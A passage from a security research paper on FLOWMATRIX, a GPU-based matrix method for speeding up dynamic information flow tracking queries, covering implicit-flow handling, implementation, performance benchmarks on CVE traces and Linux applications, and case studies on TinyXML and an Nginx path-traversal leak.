of an implicit data flow can be achieved by incorporating φ in
the taint propagation.

FLOWMATRIX enables this to be done in a unified and low-
cost manner. Assigning an additional variable is an 1-row-
column extension operation on FLOWMATRIX: the column
vector represents the source of influence for φ and the row
vector denotes what is being influenced. After modification
of one or several data flow matrices, our query tree design
allows minimum vertex updates. Only ancestors of modified
vertices are no longer carrying the up-to-date data flows. Thus,
a query tree update is to re-compute a chain of ancestors of a
modified vertex.

Specifically, implicit flow and indirect flow are handled
as follows: An implicit flow is represented by defining the
dependency from the condition variable to φ and from φ to
any variables being defined by in-branch instructions; An
indirect flow is represented by defining the dependency from
a memory address to φ and φ to the memory content.

Examples in X86 We provide an X86 example of the im-
plicit control flow in Figure 4(a). In this case, there is an
implicit control flow between register rdi and register rax: rdi

test rdi, rdi   ;ZF <- rdi
je <baz+0x1a> ;jmp if ZF
...
mov rax, 0x1 ;in-branch (0) init

(a) Control-flow dependency example (b) Information flow augment

ZF
rip

𝝓
𝑴𝒃𝒆𝒇𝒐𝒓𝒆 𝑴𝒂𝒇𝒕𝒆𝒓

(c) Augment for je instruction

+
𝑴𝒂𝒖𝒈

= rax
𝝓

𝑴𝒃𝒆𝒇𝒐𝒓𝒆 𝑴𝒂𝒇𝒕𝒆𝒓

(d) Augment for mov instruction

𝑴𝒂𝒖𝒈

+ =

(1) test (2) je (3) mov

rdi
rax
ZF
𝝓

Figure 4: Example for implicit flow augment. Vsnap is the
extended virtual variable for data flow snapshot. All matrices
have been simplified for easy presentation.
lea rsi,QWORD PTR[rdi+rcx]

mov rdx,QWORD PTR[rsi]

call rdx

rsi
rdx

[rsi]
𝑴𝒃𝒆𝒇𝒐𝒓𝒆 𝑴𝒂𝒖𝒈 𝑴𝒂𝒇𝒕𝒆𝒓

(a) Example in memory reference (b) Augment for mov instruction

+ =

Figure 5: Example for indirect flow augment. All matrices
have been simplified for easy presentation.

contains data from external inputs and controls a conditional
jump which leads to a data move instruction, assigning reg-
ister rax with a constant. The condition variable here is the
Zero Flag (ZF) set by the test instruction; the control flow
influences rax implicitly. As a result, we assign an implicit
flow variable, and set data flows from ZF to the variable and
from the variable to rax.

Another X86 example is provided for the memory address
reference in Figure 5(a). There is an implicit flow between
register rcx and the target of an indirect call through a memory
reference. The memory address variable in the move instruc-
tion is equivalent to rsi; the def variable here is register rdx.
Since all of these are performed in a single instruction, we
can optimize it by directly adding data flows from rsi to rdx
explicitly in this move instruction.

Figure 4(c) and Figure 4(d) illustrates the matrix edition
operations in FLOWMATRIX for the control-dependency case
shown in Figure 4(a). As for those cases where no variable is
assigned explicitly, matrices are directly modified by adding
the originally-missed influences to them. Figure 5(b) illus-
trates the matrix operation for such optimized scenarios.

5 Implementation

We have prototyped FLOWMATRIX utilities and query frame-
work1. To provide a friendly interface, we also provide users
the ability to raise influence queries and view results through
an interactive command line prompt. In this section, we intro-
duce important technical details during our implementation.

1Source code is available at https://github.com/mimicji/
FlowMatrix.
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Choice of GPU Programming Framework. FLOWMA-
TRIX needs to be represented in sparse matrix format. There
are many libraries available for GPU-based sparse matrix
supports, including TensorFlow [53], PyTorch [54], and CuS-
parse [55]. TensorFlow is an end-to-end open-source platform
for machine learning but also provides APIs for direct tensor
operations. However, it currently does not support SpGEMM,
which is crucial for FLOWMATRIX. PyTorch is also a platform
mainly designed for machine learning. With extension pack-
age [56], PyTorch is able to support SpGEMM operations.
However, due to the high-performance overhead from Python,
and lack of flexibility to customize GPU management, we
decide to provide PyTorch-based Python bindings for query
only. For better performance, we implement our prototype
based on CuSparse library from the NVIDIA CUDA toolkit.
This provides us an opportunity to pursue better performance
but requires us to manage GPUs by ourselves.

Multi-threading and Database Management. Due to
GPUs’ powerful ability in parallel computing, a single thread
usually can not fully utilize all GPUs’ computing power in
the task of query tree construction. Fortunately, we observe
that different sub-trees of a FLOWMATRIX query tree do not
depend on each other. Thus, it enables multiple threads to
work on several sub-trees in parallel. Specifically, the ances-
tor vertices of sub-trees that are not yet computed can be later
summarized by one process within negligible time after all
workers finish their jobs.

After a thorough analysis of the performance profile of a
worker, we discover that most of the time had been spent on
database loading and storing and data transferring between
CPU and GPU. We notice that in a sub-tree construction, a
worker always loads data flow rules from the database se-
quentially as it performs a DFS-like algorithm. Inspired by
this, our tool deploys a read cache which reads a sequence of
instruction data flows from the database at one time. Also, a
write buffer is adopted for inserting summarized data flows
into the database within one transaction.

GPU Scheduling. Without scheduling, even summarizing
two FLOWMATRIX data flows is performed into fully depen-
dent stages, where each stage never starts until its previous
stage finishes. For example, we first load the matrix from the
database, transfer it to GPU memory, and then do the same
thing to the second one. Such a pipeline is unnecessary as
these two matrices do not have dependencies. In this way,
GPU resources are also not well-scheduled among threads, as
all threads may be transferring data at the same time while
GPU cores are idle.

To address this issue, we use CUDA streams, which allow
programs to overlap computation and data transfer operations
inside or across threads to maximize the utilization of GPU
cores. In our previous case, two matrices can be transferred
to GPU memory asynchronously. As for multiple threads, the

GPU cores work in a pipeline manner: once a computation
task of one thread is done, cores automatically move on to the
next task from another thread.

Data Flow Rules. Data flow rules taken by FLOWMATRIX
are automatically generated by TaintInduce [43], which infers
taint rules from observations of CPU states. Not all generated
rules can be directly transformed into a matrix representation.
In particular, for those branch instructions and conditional
move instructions, TaintInduce provides different taint rules
corresponding to different branches. When FLOWMATRIX
summarizes data flows into matrices, it requires a unique rule
for a particular instruction. Thus, in execution traces, besides
instruction sequences, we also record necessary branch con-
dition information stored in registers (e.g., eflags register)
and pick the corresponding rule during the data-flow summa-
rization.

Extensible APIs. We aim to expose most of the tool’s op-
tions through a command line prompt, and we also support
power users who may need more flexibility than what pro-
vided commands can offer. Our tool provides direct access
to its functionality and allows users to customize their own
commands. To use these utilities, users would write command
handler functions in C++ and register them to the command
prompt. Inside the functions, users can invoke our tool’s API
to acquire specified information flows, inspect its content,
modify it and write back to the database at will.

6 Evaluation

In this section, we present the evaluation of the following
aspects of FLOWMATRIX.

• The performance of FLOWMATRIX-based DIFT query
operations, as well as the improvement achieved by GPU
assistance;

• The throughput of the DIFT query enabled by FLOW-
MATRIX works on real-world programs compared with
traditional dynamic taint analysis;

• The performance bottleneck and space overhead of
FLOWMATRIX-based DIFT query;

• The benefit of FLOWMATRIX demonstrated via case
studies.

6.1 Experiment Setup
We conduct all experiments on a server with an Intel E5-
2620 v4 CPU processor, two NVIDIA Tesla V100 GPUs and
256GB physical memory. The OS is Ubuntu 20.04 LTS. The
CPU processor is equipped with eight 2.10GHZ cores, 16
hyper threads, and 20MB L3 cache.

We use 15 common programs of which vulnerabilities are
listed in Table 1 as our security task dataset. Our program
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Table 1: Summary of tested software vulnerabilities. #Instr.
is the number of instructions from taint sources towards taint
sinks of ground-truth in every CVE execution trace.

ID Program Vulnerability #Instr. CVE ID
1 Nginx Stack Overflow 146,971 CVE-2013-2028
2 Sndfile-deinterleave Stack Overflow 40,443 CVE-2018-19432
3 Readelf Heap Overflow 259,332 CVE-2019-9077
4 Sndfile-convert Out-of-bound Read 21,424 CVE-2017-14245
5 Thumbnail Out-of-bounds Write 11,181,696 CVE-2014-8128
6 Eu-ranlib Divide by Zero 32,935 CVE-2018-18521
7 Size Stack Overflow 6,030 CVE-2014-9939
8 Thttpd Information Leakage 17,873 CVE-2009-4491
9 Libsolv Illegal Address Access 173,606 CVE-2018-20534

10 Mime-parse Null Pointer Dereference 3,907 CVE-2017-8825
11 Objdump Null Pointer Dereference 315,580 CVE-2017-17123
12 Cflow Use-after-Free 5,070,298 CVE-2020-23856
13 Mp42aac Null Pointer Dereference 146,371 CVE-2020-23912
14 Pngout Integer Overflow 4,266 CVE-2020-29384
15 Nm-new Heap Overflow 221,458 CVE-2021-20284

selection follows criteria: (1) covering common categories of
vulnerability, namely Stack Overflow, Heap Overflow, Out-of-
bound Read & Write, Divide by Zero, Information Leakage,
and Null Pointer Dereference; (2) selecting vulnerable pro-
grams with publicly available proof-of-concept exploits. Their
vulnerabilities are triggered by exploits we found from links
on NVD [57] and recorded with a simple DynamoRIO [58]
instruction tracer we implemented. Our modular design al-
lows users to replace this tracer with any other one as long
as it provides instruction traces, memory access addresses,
eflags register at data flow branches (e.g., cmov instructions)
and system call traces. A C++ API with a pre-defined struc-
ture has been provided for users to convert other traces to our
format.

Moreover, we also prepare an additional experiment dataset
of seven real-world applications to generally evaluate FLOW-
MATRIX DIFT query performance:

• tar - archive a text file and untar,
• gzip - compress a text file and decompress,
• bzip - compress a text file and decompress,
• scp - send a text file to remote server,
• ngnix - serve static content,
• mongoDB - insert, select, delete a database entry,
• ghostscript - browse an academic paper.

The first four utilities represent three different types of pro-
grams on system: tar is I/O bounded; gzip and bzip are
CPU intensive; and scp is a mixed case. They are popu-
larly used as an evaluation for some existing DIFT accel-
eration work [35,36,59]. Applications gzip, nginx, mongoDB,
ghostscript are server and desktop tasks which are used in
JetStream [29], for performance evaluation. We report the
mean value of five trials in our experiments.

6.2 Performance of DIFT Query
We use 15 CVEs listed in Table 1 and seven general tasks to
quantify the efficiency and the throughput of FLOWMATRIX
DIFT query. We build query trees on top of the range from
ground-truth source to sink for each trace to compare with

Table 2: Performance of FLOWMATRIX DIFT query and
construction, compared with the performance of the CPU
baseline for each trace. FM-Sum is the summarization time
during query tree construction in seconds. FM-Query is the
query response time in seconds. CPU-Base is the propagation
time for the CPU-based baseline DIFT tool in seconds.

ID Program FM-Sum FM-Query CPU-Base
1 Nginx 5.22 0.034 27.57
2 Sndfile-deinterleave 0.93 0.016 6.86
3 Readelf 8.98 0.097 40.21
4 Sndfile-convert 0.49 0.057 3.08
5 Thumbnail 401.39 0.751 1686.26
6 Eu-ranlib 0.61 0.007 4.55
7 Size 0.15 0.001 0.81
8 Thttpd 0.57 0.009 5.18
9 Libsolv 8.31 0.105 68.05

10 Mime-parse 0.09 0.001 0.55
11 Objdump 13.2 0.133 52.78
12 Cflow 187.1 0.469 720.11
13 Mp42aac 7.84 0.266 19.18
14 Pngout 0.10 0.002 0.71
15 Nm-new 9.29 0.115 34.19

Table 3: Performance of FLOWMATRIX DIFT query and
summarization, compared with Libdft. Tracing is the run
time of our tracer in seconds. FM-DFs is the number of data
flows carried by FLOWMATRIX during query tree construc-
tion. FM-TP is the throughput of data flows per second in
FLOWMATRIX query tree construction. Libdft-Taint is the
run time of Libdft in seconds. Libdft-DFs is the number of
data flows tracked by Libdft. Libdft-TP is the throughput of
tracked data flows per second in Libdft.

ID Program Tracing FM-DFs FM-TP Libdft-Taint Libdft-DFs Libdft-TP
1 Nginx 1.04 21,249,714 4,070,826 3.20 27,306 12,136
2 Sndfile-deinterleave 0.49 5,929,082 4,070,826 1.13 9,655 14,199
3 Readelf 0.42 44,015,827 4,901,540 1.43 9,605 10,218
4 Sndfile-convert 0.35 3,631,270 7,410,755 1.11 2,602 4,066
5 Thumbnail 4.83 1,593,853,705 3,970,836 25.29 105,256 4,160
6 Eu-ranlib 0.44 4,482,776 7,348,813 1.29 11,848 15,190
7 Size 0.48 688,279 4,588,527 1.47 985 1,159
8 Thttpd 0.26 2,978,403 5,225,269 0.98 3,554 5,606
9 Libsolv 0.44 34,120,541 4,105,962 1.14 8,028 12,743

10 Mime-parse 0.35 400,299 4,447,767 1.16 207 309
11 Objdump 0.60 52,226,202 3,956,530 1.69 20,428 20,226
12 Cflow 0.70 832,777,490 4,450,975 1.90 37,764 30,211
13 Mp42aac 0.48 27,766,273 3,541,617 1.45 27,731 31,512
14 Pngout 0.28 769,360 7,693,600 0.87 4,577 8,975
15 Nm-new 0.57 38,608,796 7,693,600 3.67 119,820 39,545

other tools on the same task scales [60]. Then queries are per-
formed by randomly selecting five pairs of common sources
(input system calls) and common destinations (output system
calls, rip register at indirect calls and returns) in security tasks.
The average response time is reported in Table 2 and Table 3.

Summarization Performance in Tree Construction. The
average speed of FLOWMATRIX summarization is about
preparing 54,766 vertices on a query tree per second. For most
execution traces of CVEs, the total time costs for summariza-
tion are within 10 seconds. For the largest case, Thumbnail
with 11,181,696 instructions, FLOWMATRIX DIFT query
engine efficiently constructs the query tree within 401 sec-
onds. For some heavy application cases (e.g., mongoDB and
ghostscript), if an analyst wishes to compute a query tree
for the whole execution trace, which rarely happens in real-
world analysis, our tool finished data flow summarization
in query tree construction within 9,390 seconds and 5,772
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Table 4: The performance DIFT query on traces of seven
general Linux applications. #Instr. shows the size of program
execution traces. FM-Query shows the average response time
of random queries. Those ones with (*) denote that its query
tree vertices have been reduced for easy storage and computa-
tion. FM-Sum is the summarization time in FLOWMATRIX
query tree construction. FM-DFs is the number of data flows
carried in each tree construction.

Program #Instr. FM-Query FM-Sum FM-DFs FM-TP
tar-archive 348,251 0.088 17.2 51,559,046 2,997,619
tar-untar 300,901 0.090 10.4 43,040,613 4,138,520

bzip2-compress 2,704,162 0.238 105.7 400,769,952 3,791,579
bzip2-decompress 537,937 0.127 19.6 80,392,946 4,101,681
gzip2-compress 355,531 0.095 16.2 42,062,045 2,596,423

gzip2-decompress 186,904 0.066 6.7 26,083,421 3,893,048
scp 153,290 0.049 5.4 20,682,643 3,830,119

nginx 1,616,050 0.153 52.7 205,554,578 3,900,466
mongodb 202,003,689 1.974∗ 9390.3 23,363,491,058 2,488,045

ghostscript 138,985,481 1.811∗ 5772.7 16,246,131,904 2,814,304

seconds, respectively. For real-world analysis, in most cases,
only certain parts of the program execution are interesting
and require further DIFT query analysis. Thus, tree size can
be further reduced, as well as the tree construction time. Note
that FLOWMATRIX is parallelable by design as all instruc-
tions are handled in the same operation. Table 4 shows that
FLOWMATRIX’s performance is positively correlated with
the trace length, which indicates FLOWMATRIX scales well
with resources proportional to the trace size. Also, note that
constructing query trees is a one-time effort.

Query Response Time. The runtime for tree construction
and query responding is presented in Table 3 and Table 4
for two dataset respectively. The overall runtime of DIFT
Query (≤ 0.5 s for most queries, and ≤ 1 s for all queries
except mongodb and ghostscript) is substantially smaller
than the CPU-based and GPU-assisted taint propagation. For
extreme cases with 202 million instructions, our tool manages
to answer a DIFT query in less than 2s on average. This is
expected because intermediate matrices for queries are pre-
computed in the query tree construction, resulting in far fewer
matrix multiplication operations required in DITF queries.

For cases of mongodb and ghostscript, by estimation,
they require couples of TBs to store the full query tree. Thus,
during the construction, we do not store the lowest 10 non-leaf
levels of query trees on disk. This results in 1023 times fewer
vertices on query trees. As a result of query tree reduction,
more matrix multiplications are needed in query. Besides this
trade-off, another factor is the richness of dataflows in vertices
on trees. The complexity of sparse matrix multiplication is
related to matrix’s NNZ. Those two factors lead to a longer
query time compared with other traces.

Comparison with CPU-based DIFT Baseline. We com-
pare our FLOWMATRIX DIFT query tool with our CPU-based
DIFT baseline. The baseline tool takes the same data flow
rules but performs less computation: instead of matrix-matrix
multiplication, it multiples matrices with a taint map vector
on CPU, which is the exact propagation logic for most taint

analysis tools. Note that matrix-matrix multiplication is in cu-
bic complexity, in theory, while a vector-matrix multiplication
is in square complexity.

Despite heavier computation, Table 2 shows that FLOW-
MATRIX DIFT summarization still outperforms CPU-based
DIFT baseline by around 5.6 times. The performance im-
provement is mainly credited to FLOWMATRIX’s ability to
propagate data flows in parallel on thousands of GPU cores.
In contrast, CPU baseline has to propagate taint tags from the
taint map one by one. We also verify that FLOWMATRIX has
the same result as the baseline taking the TaintInduce rules.

6.3 Comparison with Other Data Flow Analy-
sis Solutions

Data Flow Tracking Throughput. To evaluate the ability of
FLOWMATRIX query tool, we evaluate its data flow through-
put per second. Table 3 presents the numbers of tracked data
flows and data flow throughput of FLOWMATRIX summariza-
tion in security tasks. On average, FLOWMATRIX summa-
rization achieves a throughput of 5,082,955. Its best result
reaches 7,693,600 data flows per second when summariz-
ing the trace of Pngout. Notice that our query tool always
achieves a higher throughput on small traces than on large
ones. The main reason is that matrices in small traces contain
fewer data flows to be summarized.

Comparison with LibDFT. LibDFT is one of the state-
of-the-art dynamic taint analysis tools widely used in secu-
rity tasks [61]. Different from our after-the-fact approach,
LibDFT is an online instrumentation-based taint tracking tool.
For fairness, we present the performance overhead of our
dynamic instruction tracer, which writes instruction traces
to disk, as a reference for the performance comparison of
LibDFT. In general, LibDFT is able to achieve reasonable
performance overhead because of limited propagated taint
tags. Thus, we compare the data flow tracking through-puts
of FLOWMATRIX with LibDFT to show the power of our tool.
Tracked data flows by LibDFT are counted according to the
number of propagated taint tags during execution. In our ex-
periment, LibDFT achieves 9,905 data flow through-puts on
average, which is only 0.19% of the through-puts in FLOW-
MATRIX summarization on average. LibDFT’s best result
reaches 39,545 data flows per second on program Nm-new,
which remains 0.5% through-puts compared with the case
Pngout with most through-puts in FLOWMATRIX summa-
rization.

Comparison with JetStream. JetStream is a state-of-the-
art DIFT analysis tool supporting DIFT queries based on a
server cluster. FLOWMATRIX is fundamentally distinct from
JetStream: In terms of acceleration, FLOWMATRIX gain per-
formance speedup by deploying a matrix representation and
enabling GPUs as co-processors; JetStream, in contrast, paral-
lels analysis on a cluster of servers. Moreover, FLOWMATRIX
is orthogonal to JetStream. That is, FLOWMATRIX can be de-
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Figure 6: FLOWMATRIX Query Tree Construction Scalability
with one GPU

ployed on servers to further speed up local DIFT computation
for each epoch in JetStream.

We compare with JetStream indirectly through a few com-
mon Linux tasks. According to the reported numbers in Jet-
Stream paper, JetStream is able to answer a DIFT query for
the first time on mongodb, the largest test case for JetStream
and FLOWMATRIX as well, within around 32 seconds with
76,042,962 data flow dependencies. The throughput is around
2,376,342 data flows per-second, with 128 CPU cores. By con-
trast, FLOWMATRIX DIFT summarization achieves a through-
put of 2,488,045 also on the task case mongodb, slightly larger
than the throughput of JetStream. However, the worst case is
gzip, where it is reported that JetStream achieves 9,628,096
dependency throughputs while FLOWMATRIX summariza-
tion only reaches 2,596,423. In other common Linux pro-
grams, FLOWMATRIX outperforms JetStream in throughput
by 2,814,304 over 2,097,464 in ghostscript. In general, the
data flow throughput of FLOWMATRIX is comparable with
JetStream, which works with 128 CPU cores.

6.4 Scalability and Bottleneck in Tree Con-
struction

We examine the scalability in tree construction. Then we
study the bottleneck and discuss how these bottlenecks can
be further addressed.

Scalability. We further evaluate the scalability of FLOW-
MATRIX query tree construction. Figure 6 shows the speedup
of performing query tree construction for each real-world ap-
plication benchmark on a log-log scale as we vary the number
of processes from 1 to 16. Results are normalized to evaluate
a construction on a single core; the ideal speedup is shown as
the diagonal line. Overall, multi-processing accelerates DIFT
of FLOWMATRIX tree construction by 4-5.5x with a mean
of 4.8x using eight processes. By examining the GPU usage,
we find that a single process only uses around 20%-25% of
GPU usage on average; the GPU utilization continues to be
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Figure 7: FLOWMATRIX Byte-level performance improve-
ment over bit-level.
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Figure 8: FLOWMATRIX Query Tree Construction Scalability

above 90% when the number of processes reaches 8 in our
experiments. With more GPUs available, FLOWMATRIX is
expected to scale up and gain further speedup.

Granularity. Although FLOWMATRIX tracks bit-level data
flows by default for accuracy, we provide users with options
to track data flows at a more efficient byte level. We evalu-
ate how would a more coarse-grained tracking level would
affect our performance shown in Figure 7. On average, data
flows are more complicated at the bit level, and the total
number reaches 21.8 times more than byte level; the byte-
level summarization is 5.5 times faster than bit-level. Among
all datasets, gzip-compress is most affected by granularity
change, which our tool achieves 8.2 times speed up when
switching to the byte level. In contrast, scp is least sensitive
to granularity. The performance only increases by 2.2 times
at the byte level.

Bottleneck. We next examine the results of FLOWMATRIX
query tree construction. Figure 8 shows the stacked bar graphs
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Figure 9: Trade-off between query time and storage size in
the optimization of reduced stored levels.

for each real-world application benchmark at eight processes.
The main bottleneck is file I/O, which takes over 50% of

execution time. The reason is that we have reached the upper-
bound speed of a single process within a single CPU core. Our
tool needs to first load rules into memory from disks and then
transfer rules to GPU memory sequentially. In this process,
the CPU plays a critical role in scheduling. By increasing
the number of processes to eight, we assign more CPU cores
to perform file I/O in parallel, increasing all benchmarks’
performance. A further improvement would be bypassing
CPU and memory, requiring new hardware. For example, in
the new generation Nvidia GPU, a technique RTX IO [62] can
load data directly from SSD and send it to GPU via PCIe. By
adopting such a technique, the performance of FLOWMATRIX
tree construction can be further improved.

Query Tree Storage Overhead and Trade-off. In our
experiment, the space cost of pre-computed matrices for the
DIFT query is proportional to the number of instructions. For
those cases where we enable the most efficient DIFT queries,
the storage overhead is around 0.325GB per 100k instructions.
For most CVE cases within fewer than one million instruc-
tions, the storage size is smaller than 10 GB. Those are the
cases where we prioritize DIFT query efficiency. In practice,
FLOWMATRIX engine can specify the height of the query tree
for construction according to particular scenarios. The height
can be decreased to maintain low storage overhead. In our
largest scenario mongodb with over 200 million instructions,
by reducing the tree height of 6, we manage to store the query
tree within 241.7GB in the disk. We evaluate this trade-off on
mongodb shown in Figure 9 with the query in the worst case.
In general, cutting the lowest six levels or fewer has limited
affection to FLOWMATRIX DIFT query usage as at most our
tool needs to summarize two sub-trees of the height of 6, but
it reduces around 50% storage size in the database. The query
overhead grows with more levels not stored on a query tree.

When 12 levels are not stored, the storage size ratio drops to
25.7% while the query overhead is non-trivial anymore, reach-
ing 1.65 seconds. In our experiment, we choose to remove ten
levels from the query tree for mongodb and ghostscript to
achieve rapid query and acceptable storage overhead. Users
are provided with options to balance the query response time
and the storage size depending on their own scenarios. Within
a large task scale, removing more levels from the query tree
would be a good choice to save disk space.

6.5 Case Study
Handling Implicit Flow. We reproduce a case study of
implicit control dependency in a popular tiny program,
TinyXML [63], which is also reported in Neutaint [64]. As
shown in List 1, p is a program input buffer. At line 4, a
member variable _closingType will be assigned with a con-
stant value (CLOSING=2) if a special character is found in
the input buffer p. At line 9, ele->ClosingType() gets
_closingType that is used to decide the program branch-
ing behavior. As _closingType is control dependent but not
directly data dependent on the input buffer, most DIFT tools
fail to track the data flows from p to _closingType.

1 // tinyxml2 / tinyxml2 . cpp :2044
2 if ( *p == ’/’ ) {
3 // Implicit control flow dependency
4 ele -> _closingType = CLOSING ;
5 ++p;
6 }
7 char* XMLNode :: ParseDeep (...) {
8 // Broken information flows !
9 if (ele -> ClosingType () == CLOSING ) {
10 ...
11 }
12 }

Listing 1: Source code of implicit control dependency in
TinyXML.

2000459 cmp al , 0x2f ; ’/’
2000460 jne 0xe ; Not jumped
2000461 mov rax , qword ptr [rbp - 8]
2000462 mov dword ptr [rax + 0x68], 2
...
2001448 call <ClosingType >
2001453 mov eax , dword ptr [rax + 0x68]
2001455 ret
2001456 cmp eax , 2 ; == CLOSING?
2001457 je 0x57

Listing 2: Part of instructions of implicit control dependency
in TinyXML. The first column shows instruction index in the
program trace.

FLOWMATRIX solves this problem by implicit flow aug-
ment. List 2 shows a fragment of the execution trace corre-
sponding to the source code in List 1. Register al in instruc-

USENIX Association 31st USENIX Security Symposium    2577



tion cmp al, 0x2f contains a character from input buffer
p. On the branch where the cmp instruction determines, the
instruction mov dword ptr [rax + 0x68], 2 sets value
CLOSING to _closingType. Later, ClosingType is called
for the second if statement. To analyze whether this if state-
ment has a dependency, we query the data flow in backward
analysis mode, which queries all possible sources that affect
the instruction je 0x57 in the list. As expected, without im-
plicit flow augment, FLOWMATRIX DIFT query responds
with results of no dependencies. Thus, we use command line
prompt to add information flow from al to a virtual variable
at the first instruction in the list, and add flows from newly
added virtual variables to memory cell in the mov instruction
at the 4-th line. At last, we perform the same query again,
and at this time, FLOWMATRIX DIFT query replies that the
1649-th byte from the 8-th read system call is the only source
that determines the conditional jump instruction je 0x57. A
forward impact analysis query from the read system call also
confirms its influence on this instruction and the buffer p as
well.
Misconfiguration Diagnosis. We also reproduce a path traver-
sal misconfiguration on Nginx-1.11.3 [65], an execution
trace with 3,899,129 instructions and 822 system calls. File
/etc/passwd was leaked out through a Nginx-1.11.3 server.
We answered three questions used DIFT query: the channel
used to leak /etc/passwd, (2) the root cause of this leakage,
(3) the impact besides the detected leak.

7 Discussion

FLOWMATRIX scales up data flow queries significantly on an
offline mode. By taking an execution trace, FLOWMATRIX
renders information flow dependencies into linear relation-
ships. Such a matrix representation may also help online
dynamic taint tracking with GPUs, which we leave as future
work. One challenge could be optimizing data transfer latency.
In our approach, fully making use of GPU computation power
is more important than low data transfer latency. However, it
is the opposite case in online tainting. When PCIe transfers
matrices, the CPU may have already executed thousands of
instructions. Another challenge is regarding taint checking.
Online taint tools require to timely detect security policy vio-
lation. However, GPUs are not designed for quick data value
checking operations which would lead to alert hysteresis.

Our approach provides low-cost solution for adding im-
plicit flows to analyzed information flows. When facing an
under-tainting case, we do not make discussion of policy
choice for users, but provide interactive query for debug and
information flow augment as an efficient fix after diagnosis.
Thus, our solution can be integrated with other work such
as MITOS [50] which focuses on the decision problem for
indirect flows to automatically fix broken information flows.
We leave this as future work.

FLOWMATRIX supports two levels of data flow tracking

granularity, bit level and byte level. Bit-level data flow track-
ing is more precise but heavier. Sometimes it is necessary to
perform the analysis at bit-level where the data variables are
single bit [66], including flags in eflags register on x86 and bit
masking. Users may switch the granularity of FLOWMATRIX
depending on their own scenarios.
Threats to Validity First, the soundness of FLOWMATRIX
depends on TaintInduce [43], which has extensively evaluated
soundness and precision of its taint rules compared to exist-
ing taint engines. To eliminate the potential error from GPU
implementation, we also verified the correctness of FLOWMA-
TRIX results by cross-checking with our CPU-based DIFT tool
using the same TaintInduce rules. Second, FLOWMATRIX is
also affected by under-tainting / over-tainting. Under-tainting
and over-tainting cases are consequences of inaccurate taint
policy – for example, whether to track data flows for eflags
register. To address this problem, FLOWMATRIX provides
the analysts with options of information flow augment for
fine-tuning data flow propagation policy.

8 Related Work

FLOWMATRIX is a novel representation of taint rules, which
enables the first system to use GPUs as co-processors. Also,
it is the first system to efficiently support DIFT query with-
out a complex backend server infrastructure. In this section,
we discuss the closely related work in speed up DIFT rule
processing.

8.1 Information Flow Rule Representation

Prior work in taint analysis, such as TaintCheck [1],
LibDFT [45], commonly implements hand-written taint prop-
agation rules within advanced program languages and only
tracks direct data flow impacts.

Several prior works have proposed different taint rule rep-
resentations other than direct implementation in advanced lan-
guages. Jee et al. [41] proposed Taint Flow Algebra to summa-
rize the semantics of taint logic for basic blocks. Nevertheless,
the scale of summarization is not un-limited. TaintInduce [43]
learns dataflows by executing instruction and mutating in-
puts. FLOWMATRIX ’s taint rule is derived from this work.
We are the first one to identify the linearity in taint propaga-
tion and lift taint rules generated by TaintInduce to matrices.
Proximal gradient analysis has also been adopted to track
data flows with gradients over operations in programs [44].
This approach is orthogonal to TaintInduce and can be de-
ployed as our taint rule generator by transforming gradients
into matrices or a seizes of GPU operations.

A common problem in taint analysis is implicit flow track-
ing [28]. There are solutions using dependency-based taint
concept to address this problem. NeuTaint [64] identifies taint
relationship via neural program embeddings at function scale.
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Bao et al. [52] track strict control flow dependencies by com-
puting the lineage of variable constraints. In contrast, FLOW-
MATRIX allows users to specify customized DIFT policy to
track implicit flows.

8.2 Query-style DIFT

FLOWMATRIX DIFT query is an after-the-fact analysis that
supports multiple DIFT queries. Most DIFT parallelization
work has focused on live analysis, which only supports a
single pre-defined DIFT query. The main related work of after-
the-fact DIFT query is JetStream [29], a system to support
DIFT query by parallelizing DIFT across a cluster. It records
the program execution first and then partitions the replay
and DIFT analysis into epochs. This approach is orthogonal
to ours, as FLOWMATRIX can be deployed to a cluster of
GPU servers. The forward propagation in JetStream can be
replaced by our GPU-assisted DIFT propagation to achieve
further speedup.

8.3 Hardware-assisted DIFT

Extensive literature has explored how to speedup DIFT itself
with special hardware by offloading the taint operations to
co-processors. Ruwase et al. [31] implement an algorithm in
the context of a Log-Based Architectures (LBA) system which
logs a program trace and delivers it to other processors. Na-
garajan et al. [32] use a separate core of a chip multiprocessor
(CMP) to track taint. Similar to those specialized architec-
tures for dynamic information flow tracking, the requirement
of special hardware prevents existing hardware-assisted ap-
proaches from being adopted using commodity hardware. To
our best knowledge, there are no prior studies using GPUs
as co-processors for DIFT. GPUs are getting more and more
popular, and have become common commodity hardware.
Moreover, many commodity CPUs have integrated graph-
ics processors, such as Intel Graphics, which also support
GPGPU development and thus can be used as FLOWMA-
TRIX’s co-processors.

FLOWMATRIX is the first one adopting GPUs to speed
up DIFT analysis. There are other prior work that also uses
GPUs in security tasks. Yu et al. [67] deploy GPUs for fast
Android App vetting by speeding up worklist algorithm for
IDFG construction. Vasiliadis et al. [68] reveal the abilities
of GPUs to accelerate microarchitectural attacks. Velea et
al. [69] propose an CPU/GPU hybrid improvement to accel-
erate string matching for malware signature detection with
low power consumption. Mendez-Lojo et al. [70] introduce
a GPU-based point-to analysis and outperform a sequential
CPU implementation for 7 times in performance.

9 Conclusion

The performance overhead of dynamic information flow anal-
ysis has long been the problem limiting its applications, which
is prohibitively expensive for query-style applications. In this
paper, we analyze the recently developed dependency-based
information flow propagation rules and recognize the linear-
ity of DIFT operations in offline dynamic information flow
analysis. Based on this finding, we present a novel matrix-
based representation, FLOWMATRIX, which enables using
GPUs as co-processors for DIFT operations. We further build
a system that supports information flow queries efficiently to
assist analysts in interactively querying data flow properties
of programs. Our evaluation shows that FLOWMATRIX scales
up data flow queries significantly and gains tremendously
speedup from GPU. We also study the performance improve-
ment and bottlenecks and demonstrate the applications in taint
analysis diagnosis and configuration file diagnosis.
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A Appendix

A.1 Information Flow Rules
Figure 10 shows the taint rules to track information flow for
the instruction add in three different taint engines, TEMU [46],
libdft [45] and DECAF [47]. libdft implements taint prop-
agation rules as stand alone propagation functions that are
instrumented during execution while QEMU-based TEMU and
DECAF implement the taint rules in the emulator by modify-
ing the emulated instructions to propagate taint. This results
in multiple, non-interoperable ways of propagating taint be-
tween the different approaches. Although the taint propaga-
tion semantics for the instruction is the same, the implemented
rules are wildly different. TEMU defines taint rules for differ-
ent instructions with different op-codes and implements taint
propagation in other functions. libdft inlines taint propa-
gation in instrumentation during execution. It is a huge case
switch of op-code, decoded by X86 Encoder Decoder (XED),
and in each case lays taint propagation. Although DECAF is
also QEMU-based, similar to TEMU, it propagates taint in Tiny
Code Generator (TCG) level, which is an intermediate rep-
resentation (IR). These difference can be seen as the result
